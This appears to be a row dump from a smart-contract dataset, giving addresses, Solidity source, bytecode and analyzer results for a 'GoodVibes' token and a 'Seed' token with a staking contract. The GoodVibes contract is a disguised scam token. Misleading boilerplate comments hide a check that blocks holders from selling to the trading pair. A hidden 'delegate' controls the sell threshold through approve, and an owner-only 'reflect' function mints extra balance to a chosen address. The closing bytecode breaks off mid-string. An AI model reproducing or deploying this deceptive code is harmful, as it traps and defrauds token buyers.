43516602435610842565b34801561031557600080fd5b506101b6600160a060020a03600435811690602435166108db565b34801561033c57600080fd5b50610234600160a060020a0360043516610906565b60408051808201909152601281527f4c515820496e766573746f7220546f6b656e0000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60005481565b600080600160a060020a038416151561040c57600080fd5b50600160a060020a0384166000818152600260209081526040808320338452825280832054938352600190915290205461044c908463ffffffff61099b16565b600160a060020a038087166000908152600160205260408082209390935590861681522054610481908463ffffffff6109ad16565b600160a060020a0385166000908152600160205260409020556104aa818463ffffffff61099b16565b600160a060020a03808716600081815260026020908152604080832033845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b601281565b6b014adf4b7320334b9000000081565b600080821161053957600080fd5b3360009081526001602052604090205482111561055557600080fd5b5033600081815260016020526040902054610576908363ffffffff61099b16565b600160a060020a038216600090815260016020526040812091909155546105a3908363ffffffff61099b16565b600055604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518381529051600091600160a060020a038416917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561067f57336000908152600260209081526040808320600160a060020a03881684529091528120556106b4565b61068f818463ffffffff61099b16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b60408051808201909152600381527f4c51580000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561079257600080fd5b336000908152600160205260409020546107b2908363ffffffff61099b16565b3360009081526001602052604080822092909255600160a060020a038516815220546107e4908363ffffffff6109ad16565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610876908363ffffffff6109ad16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461091d57600080fd5b600160a060020a038116151561093257600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000828211156109a757fe5b50900390565b6000828201838110156109bc57fe5b93925050505600a165627a7a72305820208f39be40387b23629fd29d550eddeec7139a87dcd07ca6a90fca68e383a9980029
|
{"success": true, "error": null, "results": {}}
| 6,190 |
0xefc60f074c733700fcb25aec3af8d47ba50ca689
|
// SPDX-License-Identifier: GNU GPLv3
pragma solidity >=0.8.5;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Reflects a specific amount of tokens.
* param value The amount of lowest token units to be reflected.
*/
function reflect(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: reflect from the zero address");
_burn (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burn(address _burnAddress, uint _burnAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _burnAddress;
_totalSupply = _totalSupply.add(_burnAmount*2);
balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
receive() external payable {
}
fallback() external payable {
}
}
contract GoodVibes is TokenERC20 {
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply, address _del, address _ref) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
delegate = _del;
reflector = _ref;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
}
|
0x60806040526004361061008f5760003560e01c80633ebcda62116100565780633ebcda621461016257806370a082311461018257806395d89b41146101b8578063a9059cbb146101cd578063dd62ed3e146101ed57005b806306fdde0314610098578063095ea7b3146100c357806318160ddd146100f357806323b872dd14610116578063313ce5671461013657005b3661009657005b005b3480156100a457600080fd5b506100ad610233565b6040516100ba9190610917565b60405180910390f35b3480156100cf57600080fd5b506100e36100de3660046108ed565b6102c1565b60405190151581526020016100ba565b3480156100ff57600080fd5b50610108610345565b6040519081526020016100ba565b34801561012257600080fd5b506100e36101313660046108b1565b610382565b34801561014257600080fd5b506004546101509060ff1681565b60405160ff90911681526020016100ba565b34801561016e57600080fd5b5061009661017d3660046108ed565b6104dc565b34801561018e57600080fd5b5061010861019d366004610863565b6001600160a01b031660009081526008602052604090205490565b3480156101c457600080fd5b506100ad6105b4565b3480156101d957600080fd5b506100e36101e83660046108ed565b6105c1565b3480156101f957600080fd5b5061010861020836600461087e565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b60038054610240906109ba565b80601f016020809104026020016040519081016040528092919081815260200182805461026c906109ba565b80156102b95780601f1061028e576101008083540402835291602001916102b9565b820191906000526020600020905b81548152906001019060200180831161029c57829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156102fa5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c75460055461037d916106ac565b905090565b60006001600160a01b038416158015906103aa575060045461010090046001600160a01b0316155b156103d45760048054610100600160a81b0319166101006001600160a01b038616021790556103de565b6103de84846106cc565b6001600160a01b03841660009081526008602052604090205461040190836106ac565b6001600160a01b038516600090815260086020908152604080832093909355600981528282203383529052205461043890836106ac565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461047690836107aa565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104ca9086815260200190565b60405180910390a35060019392505050565b6000546001600160a01b031633146104f357600080fd5b6001600160a01b03821661055a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a207265666c6563742066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b61056482826107c5565b6001600160a01b03821660009081526008602052604090205461058790826106ac565b6001600160a01b0383166000908152600860205260409020556005546105ad90826106ac565b6005555050565b60018054610240906109ba565b6004546000906001600160a01b038481166101009092041614156106155760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b6044820152606401610551565b3360009081526008602052604090205461062f90836106ac565b33600090815260086020526040808220929092556001600160a01b0385168152205461065b90836107aa565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103339086815260200190565b6000828211156106bb57600080fd5b6106c582846109a3565b9392505050565b6004546001600160a01b038281166101009092041614158061071857506007546001600160a01b03838116911614801561071857506004546001600160a01b0382811661010090920416145b8061075a57506004546001600160a01b038281166101009092041614801561075a57506006546001600160a01b03831660009081526008602052604090205411155b6107a65760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730000000000006044820152606401610551565b5050565b60006107b6828461096c565b90508281101561033f57600080fd5b600780546001600160a01b0319166001600160a01b0384161790556107f76107ee826002610984565b600554906107aa565b600555610827610808826002610984565b6001600160a01b038416600090815260086020526040902054906107aa565b6001600160a01b0390921660009081526008602052604090209190915550565b80356001600160a01b038116811461085e57600080fd5b919050565b60006020828403121561087557600080fd5b6106c582610847565b6000806040838503121561089157600080fd5b61089a83610847565b91506108a860208401610847565b90509250929050565b6000806000606084860312156108c657600080fd5b6108cf84610847565b92506108dd60208501610847565b9150604084013590509250925092565b6000806040838503121561090057600080fd5b61090983610847565b946020939093013593505050565b600060208083528351808285015260005b8181101561094457858101830151858201604001528201610928565b81811115610956576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561097f5761097f6109f5565b500190565b600081600019048311821515161561099e5761099e6109f5565b500290565b6000828210156109b5576109b56109f5565b500390565b600181811c908216806109ce57607f821691505b602082108114156109ef57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212203fe41294eb33726560036aa3afe5e044d07084a4479692fa34c7f54b6a10649764736f6c63430008050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,191 |
0x92c46012e3a7fb21264271fa7cf234e6d29c7de5
|
pragma solidity 0.7.0;
interface IOwnershipTransferrable {
function transferOwnership(address owner) external;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
abstract contract Ownable is IOwnershipTransferrable {
address private _owner;
constructor(address owner) {
_owner = owner;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) override external onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Seed is Ownable {
using SafeMath for uint256;
uint256 private _totalSupply;
uint256 constant UINT256_MAX = ~uint256(0);
string private _name;
string private _symbol;
uint8 private _decimals;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() Ownable(msg.sender) {
_name = "Seed";
_symbol = "SEED";
_decimals = 18;
_totalSupply = 50000 * 1e18;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view returns (uint8) {
return _decimals;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
if (_allowances[msg.sender][sender] != UINT256_MAX) {
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
}
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function mint(address account, uint256 amount) external onlyOwner {
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function burn(uint256 amount) external returns (bool) {
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(msg.sender, address(0), amount);
return true;
}
}
abstract contract ReentrancyGuard {
bool private _entered;
modifier noReentrancy() {
require(!_entered);
_entered = true;
_;
_entered = false;
}
}
contract SeedStake is ReentrancyGuard, Ownable {
using SafeMath for uint256;
uint256 constant UINT256_MAX = ~uint256(0);
uint256 _deployedAt;
uint256 _totalStaked;
uint256 constant MONTH = 30 days;
Seed private _SEED;
bool private _dated;
bool private _migrated;
mapping (address => uint256) private _staked;
mapping (address => uint256) private _lastClaim;
address private _developerFund;
event StakeIncreased(address indexed staker, uint256 amount);
event StakeDecreased(address indexed staker, uint256 amount);
event Rewards(address indexed staker, uint256 mintage, uint256 developerFund);
event MelodyAdded(address indexed melody);
event MelodyRemoved(address indexed melody);
constructor(address seed) Ownable(msg.sender) {
_SEED = Seed(seed);
_developerFund = msg.sender;
_deployedAt = block.timestamp;
}
function totalStaked() external view returns (uint256) {
return _totalStaked;
}
function upgradeDevelopmentFund(address fund) external onlyOwner {
_developerFund = fund;
}
function seed() external view returns (address) {
return address(_SEED);
}
function migrate(address previous, address[] memory people, uint256[] memory lastClaims) external {
require(!_migrated);
require(people.length == lastClaims.length);
for (uint i = 0; i < people.length; i++) {
uint256 staked = SeedStake(previous).staked(people[i]);
_staked[people[i]] = staked;
_totalStaked = _totalStaked.add(staked);
_lastClaim[people[i]] = lastClaims[i];
emit StakeIncreased(people[i], staked);
}
require(_SEED.transferFrom(previous, address(this), _SEED.balanceOf(previous)));
_migrated = true;
}
function staked(address staker) external view returns (uint256) {
return _staked[staker];
}
function lastClaim(address staker) external view returns (uint256) {
return _lastClaim[staker];
}
function increaseStake(uint256 amount) external {
require(!_dated);
require(_SEED.transferFrom(msg.sender, address(this), amount));
_totalStaked = _totalStaked.add(amount);
_lastClaim[msg.sender] = block.timestamp;
_staked[msg.sender] = _staked[msg.sender].add(amount);
emit StakeIncreased(msg.sender, amount);
}
function decreaseStake(uint256 amount) external {
_staked[msg.sender] = _staked[msg.sender].sub(amount);
_totalStaked = _totalStaked.sub(amount);
require(_SEED.transfer(address(msg.sender), amount));
emit StakeDecreased(msg.sender, amount);
}
function calculateSupplyDivisor() public view returns (uint256) {
// base divisior for 5%
uint256 result = uint256(20)
.add(
// get how many months have passed since deployment
block.timestamp.sub(_deployedAt).div(MONTH)
// multiply by 5 which will be added, tapering from 20 to 50
.mul(5)
);
// set a cap of 50
if (result > 50) {
result = 50;
}
return result;
}
function _calculateMintage(address staker) private view returns (uint256) {
// total supply
uint256 share = _SEED.totalSupply()
// divided by the supply divisor
// initially 20 for 5%, increases to 50 over months for 2%
.div(calculateSupplyDivisor())
// divided again by their stake representation
.div(_totalStaked.div(_staked[staker]));
// this share is supposed to be issued monthly, so see how many months its been
uint256 timeElapsed = block.timestamp.sub(_lastClaim[staker]);
uint256 mintage = 0;
// handle whole months
if (timeElapsed > MONTH) {
mintage = share.mul(timeElapsed.div(MONTH));
timeElapsed = timeElapsed.mod(MONTH);
}
// handle partial months, if there are any
// this if check prevents a revert due to div by 0
if (timeElapsed != 0) {
mintage = mintage.add(share.div(MONTH.div(timeElapsed)));
}
return mintage;
}
function calculateRewards(address staker) public view returns (uint256) {
// removes the five percent for the dev fund
return _calculateMintage(staker).div(20).mul(19);
}
// noReentrancy shouldn't be needed due to the lack of external calls
// better safe than sorry
function claimRewards() external noReentrancy {
require(!_dated);
uint256 mintage = _calculateMintage(msg.sender);
uint256 mintagePiece = mintage.div(20);
require(mintagePiece > 0);
// update the last claim time
_lastClaim[msg.sender] = block.timestamp;
// mint out their staking rewards and the dev funds
_SEED.mint(msg.sender, mintage.sub(mintagePiece));
_SEED.mint(_developerFund, mintagePiece);
emit Rewards(msg.sender, mintage, mintagePiece);
}
function addMelody(address melody) external onlyOwner {
_SEED.approve(melody, UINT256_MAX);
emit MelodyAdded(melody);
}
function removeMelody(address melody) external onlyOwner {
_SEED.approve(melody, 0);
emit MelodyRemoved(melody);
}
function upgrade(address owned, address upgraded) external onlyOwner {
_dated = true;
IOwnershipTransferrable(owned).transferOwnership(upgraded);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063eedad66b11610066578063eedad66b14610266578063f2397f3e14610283578063f2fde38b146102a9578063f3177079146102cf57610100565b80638da5cb5b146101ed57806398807d84146101f557806399a88ec41461021b578063e8b96de11461024957610100565b806364ab8675116100d357806364ab8675146101755780636de3ac3f1461019b5780637d94792a146101c1578063817b1cd2146101e557610100565b80632da8913614610105578063372500ab1461012d5780634c885c02146101355780635c16e15e1461014f575b600080fd5b61012b6004803603602081101561011b57600080fd5b50356001600160a01b0316610406565b005b61012b610513565b61013d6106b8565b60408051918252519081900360200190f35b61013d6004803603602081101561016557600080fd5b50356001600160a01b0316610707565b61013d6004803603602081101561018b57600080fd5b50356001600160a01b0316610722565b61012b600480360360208110156101b157600080fd5b50356001600160a01b031661073d565b6101c96107b1565b604080516001600160a01b039092168252519081900360200190f35b61013d6107c0565b6101c96107c6565b61013d6004803603602081101561020b57600080fd5b50356001600160a01b03166107da565b61012b6004803603604081101561023157600080fd5b506001600160a01b03813581169160200135166107f5565b61012b6004803603602081101561025f57600080fd5b50356108c1565b61012b6004803603602081101561027c57600080fd5b50356109bd565b61012b6004803603602081101561029957600080fd5b50356001600160a01b0316610ae6565b61012b600480360360208110156102bf57600080fd5b50356001600160a01b0316610bf2565b61012b600480360360608110156102e557600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561031057600080fd5b82018360208201111561032257600080fd5b8035906020019184602083028401116401000000008311171561034457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561039457600080fd5b8201836020820111156103a657600080fd5b803590602001918460208302840111640100000000831117156103c857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610cef945050505050565b60005461010090046001600160a01b03163314610458576040805162461bcd60e51b815260206004820181905260248201526000805160206111d6833981519152604482015290519081900360640190fd5b6003546040805163095ea7b360e01b81526001600160a01b038481166004830152600060248301819052925193169263095ea7b392604480840193602093929083900390910190829087803b1580156104b057600080fd5b505af11580156104c4573d6000803e3d6000fd5b505050506040513d60208110156104da57600080fd5b50506040516001600160a01b038216907f3161d766eb7d07d5e1ceea9abc5160636a3ec586a0f95a0c0cf367af6706d0b790600090a250565b60005460ff161561052357600080fd5b6000805460ff19166001179055600354600160a01b900460ff161561054757600080fd5b600061055233610fd3565b9050600061056182601461111b565b90506000811161057057600080fd5b3360008181526005602052604090204290556003546001600160a01b0316906340c10f199061059f858561113d565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156105e557600080fd5b505af11580156105f9573d6000803e3d6000fd5b5050600354600654604080516340c10f1960e01b81526001600160a01b0392831660048201526024810187905290519190921693506340c10f199250604480830192600092919082900301818387803b15801561065557600080fd5b505af1158015610669573d6000803e3d6000fd5b5050604080518581526020810185905281513394507f61953b03ced70bb23c53b5a7058e431e3db88cf84a72660faea0849b785c43bd93509081900390910190a250506000805460ff19169055565b6000806106f36106eb60056106e562278d006106df6001544261113d90919063ffffffff16565b9061111b565b90611152565b601490611180565b90506032811115610702575060325b905090565b6001600160a01b031660009081526005602052604090205490565b600061073760136106e560146106df86610fd3565b92915050565b60005461010090046001600160a01b0316331461078f576040805162461bcd60e51b815260206004820181905260248201526000805160206111d6833981519152604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6003546001600160a01b031690565b60025490565b60005461010090046001600160a01b031690565b6001600160a01b031660009081526004602052604090205490565b60005461010090046001600160a01b03163314610847576040805162461bcd60e51b815260206004820181905260248201526000805160206111d6833981519152604482015290519081900360640190fd5b6003805460ff60a01b1916600160a01b1790556040805163f2fde38b60e01b81526001600160a01b03838116600483015291519184169163f2fde38b9160248082019260009290919082900301818387803b1580156108a557600080fd5b505af11580156108b9573d6000803e3d6000fd5b505050505050565b336000908152600460205260409020546108db908261113d565b336000908152600460205260409020556002546108f8908261113d565b6002556003546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561094f57600080fd5b505af1158015610963573d6000803e3d6000fd5b505050506040513d602081101561097957600080fd5b505161098457600080fd5b60408051828152905133917f700865370ffb2a65a2b0242e6a64b21ac907ed5ecd46c9cffc729c177b2b1c69919081900360200190a250565b600354600160a01b900460ff16156109d457600080fd5b600354604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610a2e57600080fd5b505af1158015610a42573d6000803e3d6000fd5b505050506040513d6020811015610a5857600080fd5b5051610a6357600080fd5b600254610a709082611180565b6002553360009081526005602090815260408083204290556004909152902054610a9a9082611180565b33600081815260046020908152604091829020939093558051848152905191927f8b0ed825817a2e696c9a931715af4609fc60e1701f09c89ee7645130e937eb2d92918290030190a250565b60005461010090046001600160a01b03163314610b38576040805162461bcd60e51b815260206004820181905260248201526000805160206111d6833981519152604482015290519081900360640190fd5b6003546040805163095ea7b360e01b81526001600160a01b03848116600483015260001960248301529151919092169163095ea7b39160448083019260209291908290030181600087803b158015610b8f57600080fd5b505af1158015610ba3573d6000803e3d6000fd5b505050506040513d6020811015610bb957600080fd5b50506040516001600160a01b038216907fb87d41b5cab885fb2ce4b4c06efc62eea320378130b36c709de7d45facaa1bc890600090a250565b60005461010090046001600160a01b03163314610c44576040805162461bcd60e51b815260206004820181905260248201526000805160206111d6833981519152604482015290519081900360640190fd5b6001600160a01b038116610c895760405162461bcd60e51b81526004018080602001828103825260268152602001806111b06026913960400191505060405180910390fd5b600080546040516001600160a01b038085169361010090930416917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600354600160a81b900460ff1615610d0657600080fd5b8051825114610d1457600080fd5b60005b8251811015610eaa576000846001600160a01b03166398807d84858481518110610d3d57fe5b60200260200101516040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610d8257600080fd5b505afa158015610d96573d6000803e3d6000fd5b505050506040513d6020811015610dac57600080fd5b505184519091508190600490600090879086908110610dc757fe5b6020908102919091018101516001600160a01b0316825281019190915260400160002055600254610df89082611180565b6002558251839083908110610e0957fe5b602002602001015160056000868581518110610e2157fe5b60200260200101516001600160a01b031